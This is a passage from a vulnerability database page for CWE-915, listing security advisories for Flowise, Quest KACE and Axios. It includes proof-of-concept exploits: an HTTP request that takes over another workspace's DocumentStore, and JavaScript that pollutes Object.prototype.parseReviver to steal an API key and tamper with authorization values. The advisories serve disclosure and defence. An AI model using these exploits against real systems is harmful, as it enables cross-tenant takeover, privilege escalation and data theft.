CWE-915
AllowedImproperly Controlled Modification of Dynamically-Determined Object Attributes
Abstraction: Base · Status: Incomplete
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
276 vulnerabilities reference this CWE, most recent first.
GHSA-3PRP-9GF7-4RXX
Vulnerability from github – Published: 2026-04-17 21:34 – Updated: 2026-04-24 21:01Summary
A Mass Assignment vulnerability in the DocumentStore creation endpoint allows authenticated users to control the primary key (id) and internal state fields of DocumentStore entities.
Because the service uses repository.save() with a client-supplied primary key, the POST create endpoint behaves as an implicit UPSERT operation. This enables overwriting existing DocumentStore objects.
In multi-workspace or multi-tenant deployments, this can lead to cross-workspace object takeover and broken object-level authorization (IDOR), allowing an attacker to reassign or modify DocumentStore objects belonging to other workspaces.
Details
The DocumentStore entity defines a globally unique primary key:
@PrimaryGeneratedColumn('uuid')
id: string
The create logic is implemented as:
const documentStore = repo.create(newDocumentStore)
const dbResponse = await repo.save(documentStore)
Here is no DTO allowlist or field filtering before persistence. The entire request body is mapped directly to the entity. TypeORM save() behavior:
- If the primary key (id) exists → UPDATE
- If not → INSERT
Because id is accepted from the client, the create endpoint effectively functions as an UPSERT endpoint.
This allows an authenticated user to submit:
{
"id": "<existing_store_id>",
"name": "modified",
"description": "modified",
"status": "SYNC",
"embeddingConfig": "...",
"vectorStoreConfig": "...",
"recordManagerConfig": "..."
}
If a DocumentStore with the supplied id already exists, save() performs an UPDATE rather than creating a new record.
Importantly:
The primary key is globally unique (uuid) It is not composite with workspaceId The create path does not enforce ownership validation before calling save() This introduces a broken object-level authorization risk.
If an attacker can obtain or enumerate a valid DocumentStore UUID belonging to another workspace, they can: Submit a POST create request with that UUID. Trigger an UPDATE on the existing record. Potentially overwrite fields including workspaceId, effectively reassigning the object to their own workspace.
Because the service layer does not verify that the existing record belongs to the caller’s workspace before updating, this may result in cross-workspace object takeover.
Additionally, several service functions retrieve DocumentStore entities by id without consistently scoping by workspaceId, increasing the risk of IDOR if controller-level protections are bypassed or misconfigured.
PoC
- Create a normal DocumentStore in Workspace A.
- Capture its id from the API response.
- From Workspace B (or another authenticated context), submit:
POST /api/v1/document-store
Content-Type: application/json
{
"id": "<id_from_workspace_A>",
"name": "hijacked",
"description": "hijacked"
}
Because the service uses repository.save() with a client-supplied primary key:
- The existing record is updated.
- The object may become reassigned depending on how workspaceId is handled at controller level.
- If workspaceId is overwritten during the create flow, the store is effectively migrated to the attacker’s workspace.
- This demonstrates object takeover via UPSERT semantics on a create endpoint.
Impact
This vulnerability enables:
- Mass Assignment on server-managed fields
- Overwrite of existing objects via implicit UPSERT behavior
- Broken Object Level Authorization (BOLA)
- Potential cross-workspace object takeover in multi-tenant deployments
- In a SaaS or shared-workspace environment, an attacker who can obtain or guess a valid UUID may modify or reassign DocumentStore objects belonging to other tenants.
Because DocumentStore objects control embedding providers, vector store configuration, and record management logic, successful takeover can affect data indexing, retrieval, and AI workflow execution.
This represents a high-risk authorization flaw in multi-tenant environments.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.13"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41277"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-639",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-17T21:34:16Z",
"nvd_published_at": "2026-04-23T20:16:16Z",
"severity": "HIGH"
},
"details": "### Summary\nA Mass Assignment vulnerability in the DocumentStore creation endpoint allows authenticated users to control the primary key (id) and internal state fields of DocumentStore entities.\n\nBecause the service uses repository.save() with a client-supplied primary key, the POST create endpoint behaves as an implicit UPSERT operation. This enables overwriting existing DocumentStore objects.\n\nIn multi-workspace or multi-tenant deployments, this can lead to cross-workspace object takeover and broken object-level authorization (IDOR), allowing an attacker to reassign or modify DocumentStore objects belonging to other workspaces.\n\n### Details\nThe DocumentStore entity defines a globally unique primary key:\n\n```typescript\n@PrimaryGeneratedColumn(\u0027uuid\u0027)\nid: string\n```\n\nThe create logic is implemented as:\n```typescript\nconst documentStore = repo.create(newDocumentStore)\nconst dbResponse = await repo.save(documentStore)\n```\n\nHere is no DTO allowlist or field filtering before persistence. The entire request body is mapped directly to the entity.\nTypeORM save() behavior:\n\n1. If the primary key (id) exists \u2192 UPDATE\n2. If not \u2192 INSERT\n\nBecause id is accepted from the client, the create endpoint effectively functions as an UPSERT endpoint.\n\nThis allows an authenticated user to submit:\n\n```json\n{\n \"id\": \"\u003cexisting_store_id\u003e\",\n \"name\": \"modified\",\n \"description\": \"modified\",\n \"status\": \"SYNC\",\n \"embeddingConfig\": \"...\",\n \"vectorStoreConfig\": \"...\",\n \"recordManagerConfig\": \"...\"\n}\n```\nIf a DocumentStore with the supplied id already exists, save() performs an UPDATE rather than creating a new record.\n\nImportantly:\n\nThe primary key is globally unique (uuid)\nIt is not composite with workspaceId\nThe create path does not enforce ownership validation before calling save()\nThis introduces a broken object-level authorization risk.\n\nIf an attacker can obtain or enumerate a valid DocumentStore UUID belonging to another workspace, they can:\nSubmit a POST create request with that UUID.\nTrigger an UPDATE on the existing record.\nPotentially overwrite fields including workspaceId, effectively reassigning the object to their own workspace.\n\nBecause the service layer does not verify that the existing record belongs to the caller\u2019s workspace before updating, this may result in cross-workspace object takeover.\n\nAdditionally, several service functions retrieve DocumentStore entities by id without consistently scoping by workspaceId, increasing the risk of IDOR if controller-level protections are bypassed or misconfigured.\n\n### PoC\n\n1. Create a normal DocumentStore in Workspace A.\n2. Capture its id from the API response.\n3. From Workspace B (or another authenticated context), submit:\n\n```http\nPOST /api/v1/document-store\nContent-Type: application/json\n\n{\n \"id\": \"\u003cid_from_workspace_A\u003e\",\n \"name\": \"hijacked\",\n \"description\": \"hijacked\"\n}\n```\n\nBecause the service uses repository.save() with a client-supplied primary key:\n\n- The existing record is updated.\n- The object may become reassigned depending on how workspaceId is handled at controller level.\n- If workspaceId is overwritten during the create flow, the store is effectively migrated to the attacker\u2019s workspace.\n- This demonstrates object takeover via UPSERT semantics on a create endpoint.\n\n### Impact\nThis vulnerability enables:\n\n- Mass Assignment on server-managed fields\n- Overwrite of existing objects via implicit UPSERT behavior\n- Broken Object Level Authorization (BOLA)\n- Potential cross-workspace object takeover in multi-tenant deployments\n- In a SaaS or shared-workspace environment, an attacker who can obtain or guess a valid UUID may modify or reassign DocumentStore objects belonging to other tenants.\n\nBecause DocumentStore objects control embedding providers, vector store configuration, and record management logic, successful takeover can affect data indexing, retrieval, and AI workflow execution.\n\nThis represents a high-risk authorization flaw in multi-tenant environments.",
"id": "GHSA-3prp-9gf7-4rxx",
"modified": "2026-04-24T21:01:04Z",
"published": "2026-04-17T21:34:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3prp-9gf7-4rxx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41277"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flowise: Mass Assignment in DocumentStore Create Endpoint Leads to Cross-Workspace Object Takeover (IDOR)"
}
GHSA-3PX8-VGVR-H92Q
Vulnerability from github – Published: 2022-05-13 01:18 – Updated: 2022-05-13 01:18The script '/adminui/error_details.php' in the Quest KACE System Management Appliance 8.0.318 allows authenticated users to conduct PHP object injection attacks.
{
"affected": [],
"aliases": [
"CVE-2018-11135"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-05-31T18:29:00Z",
"severity": "HIGH"
},
"details": "The script \u0027/adminui/error_details.php\u0027 in the Quest KACE System Management Appliance 8.0.318 allows authenticated users to conduct PHP object injection attacks.",
"id": "GHSA-3px8-vgvr-h92q",
"modified": "2022-05-13T01:18:53Z",
"published": "2022-05-13T01:18:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11135"
},
{
"type": "WEB",
"url": "https://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3W6X-2G7M-8V23
Vulnerability from github – Published: 2026-05-05 00:19 – Updated: 2026-05-05 00:19Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.
The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.
This is strictly more powerful than the transformResponse gadget because:
1. No constraints — the reviver can return any value (no "must return true" requirement)
2. Selective modification — individual JSON keys can be changed while others remain untouched
3. Invisible — the response structure and most values look completely normal
4. Simultaneous exfiltration — the reviver sees the original values before modification
Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
CVSS 3.1
Score: 9.1 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Within the application process |
| Confidentiality | High | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured |
| Integrity | High | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values |
| Availability | None | No crash, no error — the attack is entirely silent |
Comparison with All Known Axios PP Gadgets
| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | parseReviver (This) |
|---|---|---|---|---|
| PP target | Object.prototype['header'] |
Object.prototype.transformResponse |
Object.prototype.proxy |
Object.prototype.parseReviver |
| Fixed by 1.15.0? | Yes | No | No | No |
| Constraints | N/A (fixed) | Must return true |
None | None |
| Data modification | Header injection only | Response replaced with true |
Full MITM | Selective per-key modification |
| Stealth | Request anomaly visible | Response becomes true (obvious) |
Proxy visible in network | Completely invisible |
| Data access | Headers only | this.auth + raw response |
All traffic | Every JSON key-value pair |
| Validated? | N/A | assertOptions validates |
Not validated | Not validated |
| In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | No → bypasses mergeConfig |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.
Root Cause Analysis
The Attack Path
Object.prototype.parseReviver = function(key, value) { /* malicious */ }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response
Why parseReviver Bypasses ALL Existing Protections
-
Not in defaults (
lib/defaults/index.js):parseReviveris not defined in the defaults object, somergeConfig'sObject.keys({...defaults, ...userConfig})iteration never encounters it. The merged config has no ownparseReviverproperty. -
Not in assertOptions schema (
lib/core/Axios.js:135-142): The schema only contains{baseUrl, withXsrfToken}.parseReviveris not validated. -
No type check: The
JSON.parseAPI accepts any function as a reviver. There is no check thatthis.parseReviveris intentionally set. -
Works INSIDE the default transform: Unlike
transformResponsepollution (which replaces the entire transform and is caught byassertOptions),parseReviverpollution injects into the DEFAULTtransformResponsefunction'sJSON.parsecall. The default function itself is not replaced, soassertOptionshas nothing to catch.
Vulnerable Code
File: lib/defaults/index.js, line 124
transformResponse: [
function transformResponse(data) {
// ... transitional checks ...
if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
// ...
try {
return JSON.parse(data, this.parseReviver);
// ^^^^^^^^^^^^^^^^^
// this = config
// config.parseReviver → prototype chain → attacker's function
} catch (e) {
// ...
}
}
return data;
},
],
Proof of Concept
import http from 'http';
import axios from './index.js';
// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({
user: 'john',
role: 'viewer',
isAdmin: false,
canDelete: false,
balance: 100,
permissions: ['read'],
apiKey: 'sk-secret-internal-key',
}));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;
// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}
// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
// Silently capture all original values
if (key && typeof value !== 'object') stolen[key] = value;
// Surgically modify specific values
if (key === 'isAdmin') return true; // false → true
if (key === 'role') return 'admin'; // viewer → admin
if (key === 'canDelete') return true; // false → true
if (key === 'balance') return 999999; // 100 → 999999
return value; // everything else unchanged
};
// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}
console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}
delete Object.prototype.parseReviver;
server.close();
Verified PoC Output
[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse
Impact Analysis
1. Authorization / Privilege Escalation
// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user
2. Financial Manipulation
// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected
3. Security Control Bypass
// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account
4. Silent Data Exfiltration
The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.
5. Universal and Invisible
- Affects every Axios request that receives a JSON response
- The response structure is intact — only specific values are changed
- No errors, no crashes, no suspicious behavior
- Application logs show normal-looking API responses with tampered values
Recommended Fix
Fix 1: Use hasOwnProperty check before using parseReviver
// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
Fix 2: Use null-prototype config object
// In lib/core/mergeConfig.js
const config = Object.create(null);
Fix 3: Validate parseReviver type and source
// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
Relationship to Other Reported Gadgets
This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:
| Report | PP Target | Code Location | Fix Location | Impact |
|---|---|---|---|---|
| axios_26 | transformResponse |
mergeConfig.js:49 (defaultToConfig2) |
mergeConfig.js |
Credential theft, response replaced with true |
| axios_30 | proxy |
http.js:670 (direct property access) |
http.js |
Full MITM, traffic interception |
| axios_31 (this) | parseReviver |
defaults/index.js:124 (this.parseReviver) |
defaults/index.js |
Selective JSON value tampering + data exfiltration |
Why These Are Distinct Vulnerabilities
- Different polluted properties: Each targets a different
Object.prototypekey. - Different code paths:
transformResponseenters viamergeConfig;proxyis read directly byhttp.js;parseReviveris read inside the defaulttransformResponsefunction'sJSON.parsecall. - Different fix locations: Fixing
mergeConfig.js(axios_26) does NOT fixdefaults/index.js:124(this vulnerability). Fixinghttp.js:670(axios_30) does NOT fix this either. Each requires a separate patch. - Different impact profiles:
transformResponseis constrained to returntrue;proxyrequires a proxy server;parseReviverenables constraint-free selective value modification.
Comprehensive Fix
While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.
Resources
- CWE-1321: Prototype Pollution
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
- MDN: JSON.parse reviver
- Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-16 | Vulnerability discovered during source code audit |
| 2026-04-16 | PoC developed and verified — selective response tampering confirmed |
| TBD | Report submitted to vendor via GitHub Security Advisory |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42044"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:19:33Z",
"nvd_published_at": "2026-04-24T18:16:31Z",
"severity": "MODERATE"
},
"details": "# Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application\u0027s dependency tree to be escalated into **surgical, invisible modification of all JSON API responses** \u2014 including privilege escalation, balance manipulation, and authorization bypass.\n\nThe default `transformResponse` function at `lib/defaults/index.js:124` calls `JSON.parse(data, this.parseReviver)`, where `this` is the merged config object. Because `parseReviver` is **not present in Axios defaults, not validated by `assertOptions`, and not subject to any constraints**, a polluted `Object.prototype.parseReviver` function is called for **every key-value pair** in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.\n\nThis is **strictly more powerful** than the `transformResponse` gadget because:\n1. **No constraints** \u2014 the reviver can return any value (no \"must return true\" requirement)\n2. **Selective modification** \u2014 individual JSON keys can be changed while others remain untouched\n3. **Invisible** \u2014 the response structure and most values look completely normal\n4. **Simultaneous exfiltration** \u2014 the reviver sees the original values before modification\n\n**Severity:** Critical (CVSS 9.1)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/defaults/index.js:124` (JSON.parse with prototype-inherited reviver)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n- **CWE-915:** Improperly Controlled Modification of Dynamically-Determined Object Attributes\n\n## CVSS 3.1\n\n**Score: 9.1 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the application process |\n| Confidentiality | **High** | The reviver receives every key-value pair from every JSON response \u2014 full data exfiltration. In the PoC, `apiKey: \"sk-secret-internal-key\"` is captured |\n| Integrity | **High** | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false \u2192 true`, `role: \"viewer\" \u2192 \"admin\"`, `balance: 100 \u2192 999999`. The response looks completely normal except for the surgically altered values |\n| Availability | None | No crash, no error \u2014 the attack is entirely silent |\n\n### Comparison with All Known Axios PP Gadgets\n\n| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | **parseReviver (This)** |\n|---|---|---|---|---|\n| PP target | `Object.prototype[\u0027header\u0027]` | `Object.prototype.transformResponse` | `Object.prototype.proxy` | `Object.prototype.parseReviver` |\n| Fixed by 1.15.0? | Yes | No | No | **No** |\n| Constraints | N/A (fixed) | **Must return `true`** | None | **None** |\n| Data modification | Header injection only | Response replaced with `true` | Full MITM | **Selective per-key modification** |\n| Stealth | Request anomaly visible | Response becomes `true` (obvious) | Proxy visible in network | **Completely invisible** |\n| Data access | Headers only | `this.auth` + raw response | All traffic | **Every JSON key-value pair** |\n| Validated? | N/A | `assertOptions` validates | Not validated | **Not validated** |\n| In defaults? | N/A | Yes \u2192 goes through mergeConfig | No \u2192 bypasses mergeConfig | **No \u2192 bypasses mergeConfig** |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), the polluted `parseReviver` function is automatically used by every Axios request that receives a JSON response. The developer\u0027s code is completely safe \u2014 no configuration errors needed.\n\n## Root Cause Analysis\n\n### The Attack Path\n\n```\nObject.prototype.parseReviver = function(key, value) { /* malicious */ }\n \u2502\n \u25bc\n mergeConfig(defaults, userConfig)\n \u2502\n \u2502 parseReviver NOT in defaults \u2192 NOT iterated by mergeConfig\n \u2502 parseReviver NOT in userConfig \u2192 NOT iterated by mergeConfig\n \u2502 Merged config has NO own parseReviver property\n \u2502\n \u25bc\n transformData.call(config, config.transformResponse, response)\n \u2502\n \u2502 Default transformResponse function runs (NOT overridden)\n \u2502\n \u25bc\n defaults/index.js:124: JSON.parse(data, this.parseReviver)\n \u2502\n \u2502 this = config (merged config object, plain {})\n \u2502 config.parseReviver \u2192 NOT own property \u2192 traverses prototype chain\n \u2502 \u2192 finds Object.prototype.parseReviver \u2192 attacker\u0027s function!\n \u2502\n \u25bc\n JSON.parse calls reviver for EVERY key-value pair\n \u2502\n \u2502 Attacker can: read original value, modify it, return anything\n \u2502 No validation, no constraints, no assertOptions check\n \u2502\n \u25bc\n Application receives surgically modified JSON response\n```\n\n### Why `parseReviver` Bypasses ALL Existing Protections\n\n1. **Not in defaults** (`lib/defaults/index.js`): `parseReviver` is not defined in the defaults object, so `mergeConfig`\u0027s `Object.keys({...defaults, ...userConfig})` iteration never encounters it. The merged config has no own `parseReviver` property.\n\n2. **Not in assertOptions schema** (`lib/core/Axios.js:135-142`): The schema only contains `{baseUrl, withXsrfToken}`. `parseReviver` is not validated.\n\n3. **No type check**: The `JSON.parse` API accepts any function as a reviver. There is no check that `this.parseReviver` is intentionally set.\n\n4. **Works INSIDE the default transform**: Unlike `transformResponse` pollution (which replaces the entire transform and is caught by `assertOptions`), `parseReviver` pollution injects into the DEFAULT `transformResponse` function\u0027s `JSON.parse` call. The default function itself is not replaced, so `assertOptions` has nothing to catch.\n\n### Vulnerable Code\n\n**File:** `lib/defaults/index.js`, line 124\n\n```javascript\ntransformResponse: [\n function transformResponse(data) {\n // ... transitional checks ...\n if (data \u0026\u0026 utils.isString(data) \u0026\u0026 ((forcedJSONParsing \u0026\u0026 !this.responseType) || JSONRequested)) {\n // ...\n try {\n return JSON.parse(data, this.parseReviver);\n // ^^^^^^^^^^^^^^^^^\n // this = config\n // config.parseReviver \u2192 prototype chain \u2192 attacker\u0027s function\n } catch (e) {\n // ...\n }\n }\n return data;\n },\n],\n```\n\n## Proof of Concept\n\n```javascript\nimport http from \u0027http\u0027;\nimport axios from \u0027./index.js\u0027;\n\n// Server returns a realistic authorization response\nconst server = http.createServer((req, res) =\u003e {\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify({\n user: \u0027john\u0027,\n role: \u0027viewer\u0027,\n isAdmin: false,\n canDelete: false,\n balance: 100,\n permissions: [\u0027read\u0027],\n apiKey: \u0027sk-secret-internal-key\u0027,\n }));\n});\nawait new Promise(r =\u003e server.listen(0, r));\nconst port = server.address().port;\n\n// === Before Pollution ===\nconst before = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log(\u0027Before:\u0027, JSON.stringify(before.data));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\"balance\":100,...}\n\n// === Simulate Prototype Pollution ===\nlet stolen = {};\nObject.prototype.parseReviver = function(key, value) {\n // Silently capture all original values\n if (key \u0026\u0026 typeof value !== \u0027object\u0027) stolen[key] = value;\n // Surgically modify specific values\n if (key === \u0027isAdmin\u0027) return true; // false \u2192 true\n if (key === \u0027role\u0027) return \u0027admin\u0027; // viewer \u2192 admin\n if (key === \u0027canDelete\u0027) return true; // false \u2192 true\n if (key === \u0027balance\u0027) return 999999; // 100 \u2192 999999\n return value; // everything else unchanged\n};\n\n// === After Pollution \u2014 same code, same URL ===\nconst after = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log(\u0027After: \u0027, JSON.stringify(after.data));\n// {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\"balance\":999999,...}\n\nconsole.log(\u0027Stolen:\u0027, JSON.stringify(stolen));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,...,\"apiKey\":\"sk-secret-internal-key\"}\n\ndelete Object.prototype.parseReviver;\nserver.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n response.data: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n \"balance\":100,\"permissions\":[\"read\"],\"apiKey\":\"sk-secret-internal-key\"}\n isAdmin: false\n role: viewer\n\n[2] Prototype Pollution: Object.prototype.parseReviver\n Polluted with selective value modifier\n\n[3] Same request (after pollution):\n response.data: {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\n \"balance\":999999,\"permissions\":[\"read\",\"write\",\"delete\",\"admin\"],\n \"apiKey\":\"sk-secret-internal-key\"}\n isAdmin: true (was: false)\n role: admin (was: viewer)\n canDelete: true (was: false)\n balance: 999999 (was: 100)\n\n[4] Exfiltrated data (stolen silently):\n apiKey: sk-secret-internal-key\n All captured: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n \"balance\":100,\"apiKey\":\"sk-secret-internal-key\"}\n\n[5] Why this bypasses all checks:\n parseReviver in defaults? NO\n parseReviver in assertOptions schema? NO\n parseReviver validated anywhere? NO\n Must return true? NO \u2014 can return ANY value\n Replaces entire transform? NO \u2014 works INSIDE default JSON.parse\n```\n\n## Impact Analysis\n\n### 1. Authorization / Privilege Escalation\n\n```javascript\n// Server returns: {\"role\":\"viewer\",\"isAdmin\":false}\n// Application sees: {\"role\":\"admin\",\"isAdmin\":true}\n// \u2192 Application grants admin access to unprivileged user\n```\n\n### 2. Financial Manipulation\n\n```javascript\n// Server returns: {\"balance\":100,\"approved\":false}\n// Application sees: {\"balance\":999999,\"approved\":true}\n// \u2192 Application approves a transaction that should be rejected\n```\n\n### 3. Security Control Bypass\n\n```javascript\n// Server returns: {\"mfaRequired\":true,\"accountLocked\":true}\n// Application sees: {\"mfaRequired\":false,\"accountLocked\":false}\n// \u2192 Application skips MFA and unlocks a locked account\n```\n\n### 4. Silent Data Exfiltration\n\nThe reviver function receives the **original** value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.\n\n### 5. Universal and Invisible\n\n- Affects **every** Axios request that receives a JSON response\n- The response structure is intact 